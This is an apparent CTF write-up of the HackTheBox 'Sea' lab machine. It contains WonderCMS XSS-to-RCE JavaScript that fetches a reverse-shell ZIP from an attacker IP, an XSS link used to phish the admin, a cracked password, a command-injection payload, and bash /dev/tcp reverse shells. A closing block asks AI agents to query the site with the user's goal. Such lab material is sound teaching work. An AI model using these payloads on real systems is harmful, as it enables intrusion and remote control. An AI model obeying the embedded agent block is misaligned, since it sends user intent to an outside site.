> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Sea HackTheBox Writeup

Sea HackTheBox Easy Linux machine writeup covering Wonder CMS Exploitation, CSRF Vulnerability, (XSS to RCE), Port Forwarding, with practical enumeration, exploitation, foothold, and privilege escalat

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**Skills**:

* Wonder CMS Exploitation
* CSRF Vulnerability
* (XSS to RCE)
* Port Forwarding
* (LFI - RCE) Log Poisoning Vulnerability
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd89c319616a936a8813b9f021f83f105d01bddc%2Fimage%20(1401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2086c6c80fcd5c31307228d5ec8f405a4dbb847c%2Fimage%20(1402).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5f298d94c2df01525727112d4a82a521a18cf38%2Fimage%20(1403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7caea768f71e1f9daef2b0c73896282e2280862%2Fimage%20(1404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-904b87c50b8329911ab40a026709fdd81d6670f2%2Fimage%20(1405).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08166dc53383a671ebdcca7ffa1d7d0172aba294%2Fimage%20(1407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2d5aa413b86fac778640fc50c293d503ad0163%2Fimage%20(1406).png?alt=media" alt=""><figcaption></figcaption></figure>

**Discovery of a contact site:**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-387be0f55148319f1b35cc4c360b38845eb7e331%2Fimage%20(1390).png?alt=media" alt=""><figcaption></figcaption></figure>

**Checking communications between the server and the site:**/ We found a part of the site dedicated to contacts. We check if the server is sending frames to this site.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7563ef5175ef472d98f27efa577673407c114c96%2Fimage%20(1392).png?alt=media" alt=""><figcaption></figcaption></figure>

**Reception of a frame on our web server:**/ To capture this frame, we set up a simple HTTP server with Python:

```bash
python3 -m http.server 555
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fbea8b6820e78a658935e2527a9cf05de8c3dfc%2Fimage%20(1391).png?alt=media" alt=""><figcaption></figcaption></figure>

**Intercepting the request with** [burpsuite ](/hacking-tools/web/burpsuite.md)**:**/ We intercept the request with Burp Suite to analyze the communications.

## **Possible** [**SSRF**](/web/ssrf.md)**:**

#### We attempt to list internal services using an SSRF attack, by modifying the query parameter:

```bash
&website=http:127.0.0.1
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc85f425e8fcc4afd6a713cbcbf1295c7edfeddc%2Fimage%20(1393).png?alt=media" alt=""><figcaption></figcaption></figure>

**Discovery of internal ports with Intruder:**/ We use Burp Suite Intruder to perform a brute force attack and discover open internal ports.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436267a66ad07c2934649a19c44546e8334d6989%2Fimage%20(1394).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b3a24402b1541e912476df45e329e181aa14f6a%2Fimage%20(1395).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtering responses:**/ We filter responses based on their size to identify which ones are relevant but all are the same.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-666ee51bf4810e8442932a93e1cb15aff1077507%2Fimage%20(1396).png?alt=media" alt=""><figcaption></figcaption></figure>

## WonderCMS Vulnerability ([CSRF](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS to RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**Directory search:**/ We use Gobuster to search directories on the site:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

This returns us the **/themes** directory with a 301 redirect code.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d6cfe120369f96bd1d929feb6338f5a22b3b166%2Fimage%20(1397).png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploring the themes directory:**/ We continue the search by adding the discovered path to the URL and exploring the **/themes** directory

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

We find the **/bike** subdirectory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e11f27595831e73c1d9977cdc10776c7cde182%2Fimage%20(1398).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtering by File Extensions:**/ We use *ffuf* to filter files with certain extensions (php, html, png, etc.) in the **/bike** directory:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

This command allows us to find a file named **README.md**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62436c55c0e4c5d0bb92c43af0c82225b958717%2Fimage%20(1399).png?alt=media" alt=""><figcaption></figcaption></figure>

We find a `README.md` file which indicates that the server uses a theme called "WONDER", which is a CMS.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98c095dcf1c7cd000d445a6d7710e2b6e630d1b5%2Fimage%20(1400).png?alt=media" alt=""><figcaption></figcaption></figure>

While searching for vulnerabilities related to this CMS, we discovered a flaw allowing remote code execution (RCE) via XSS injection.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**JavaScript code to get a shell:**/ The following JavaScript code downloads a malicious ZIP file containing a reverse shell script and then executes it on the server:

```javascript
// the server has some issue resolving domain name with JavaScript
// we can just provide the target URL as required parameter
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modify the ZIP file path serving on HTTP server
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visit rev.php inside the uploaded ZIP file
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // trigger reverse shell script and provide listener ip & port
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Installation of exploit script for vulnerability (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

We run the exploitation script:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

The script above sends a request to our server on port 8000 via a `xss.js` file, granting us RCE access and control of the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**Final step:**

We need to send the XSS link to the admin via the `contact.php` form to trick them into clicking on the malicious link:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Listening with Netcat:**/ We listen on port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Once you have access to the Linux server, use the following commands to stabilize the terminal <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilize the shell for more comfortable work. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilege Escalation:

As user *www-data*, we will filter the content using the `find` command to search only for files containing the word "**password**" in the web server directory `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

We find an encrypted password in the `database.js` file:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5023f087dd396b0a7a5493af77b5d6361ad507be%2Fimage%20(2275).png?alt=media" alt=""><figcaption></figcaption></figure>

To crack this password, we use the **John the Ripper** tool with the `rockyou.txt` dictionary file:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31299c1c6b38044b08a25216659760471cb8ad62%2Fimage%20(2277).png?alt=media" alt=""><figcaption></figcaption></figure>

The decrypted password is mychemicalromance

We will now try to connect with the two users available in the system: "geo" and "amays".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-205a424f7c0923503e3c19ddc8ca85e0efc10d82%2Fimage%20(2276).png?alt=media" alt=""><figcaption></figcaption></figure>

The password for user **amays** is correct.

### Flag user.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4f1bf6eeec52a034a3690bdeb6684cc1c659e5%2Fimage%20(2278).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Analyzing internal network communications, we found that port 8080 was in use:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee9e9101abe24193d85be7de6c51fba7d2a72973%2Fimage%20(1378).png?alt=media" alt=""><figcaption></figcaption></figure>

We will therefore redirect server port 8080 to our attacking machine via SSH using port forwarding, from port 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

Once connected, we find a login panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b5c3901eeb47b76243306048d2e3026248c4c41%2Fimage%20(1379).png?alt=media" alt=""><figcaption></figcaption></figure>

With the user credentials `amay`: `mychemicalromance`, we manage to connect to a monitoring system.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b69aaca000c4605ad00d0a4b616f6c8a7e1aecdb%2Fimage%20(1380).png?alt=media" alt=""><figcaption></figcaption></figure>

We can observe the connection logs of `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ada26656355271a952775187f56505897059b7d%2Fimage%20(1381).png?alt=media" alt=""><figcaption></figcaption></figure>

By intercepting the request with Burp Suite, we notice that it displays the contents of the `/var/log/apache2/access.log` file in a more structured way.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd751fb09e5bbf6d4b045d20eae3b67f8685a5a%2Fimage%20(1383).png?alt=media" alt=""><figcaption></figcaption></figure>

This file can only be opened by the user `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cc5134fdb82751281b815d7fbf192c7f5a2f498%2Fimage%20(1384).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerability [(LFI - RCE) Log Poisoning](/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

If we try to list a file like `/etc/passwd`, for example:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

The file is listed:)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a87e0c3f818aba8b543536fa0bcde800c20fd538%2Fimage%20(1385).png?alt=media" alt=""><figcaption></figcaption></figure>

We will then try to read the file containing the `root` flag and we observe that it is possible to execute commands (like `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25d40a134773f4e7b8900b755653d877c459d502%2Fimage%20(1386).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Full access (reverse shell):**

To obtain a reverse shell, we execute the following command:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

Then, we listen with `nc`:

```bash
nc -nvlp 443
```

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f9ac60bb34c2a23a0d516aad28671d5dfa26e5%2Fimage%20(1388).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f51bbd2f363212b6084c889207caf4f8f423be8%2Fimage%20(1389).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
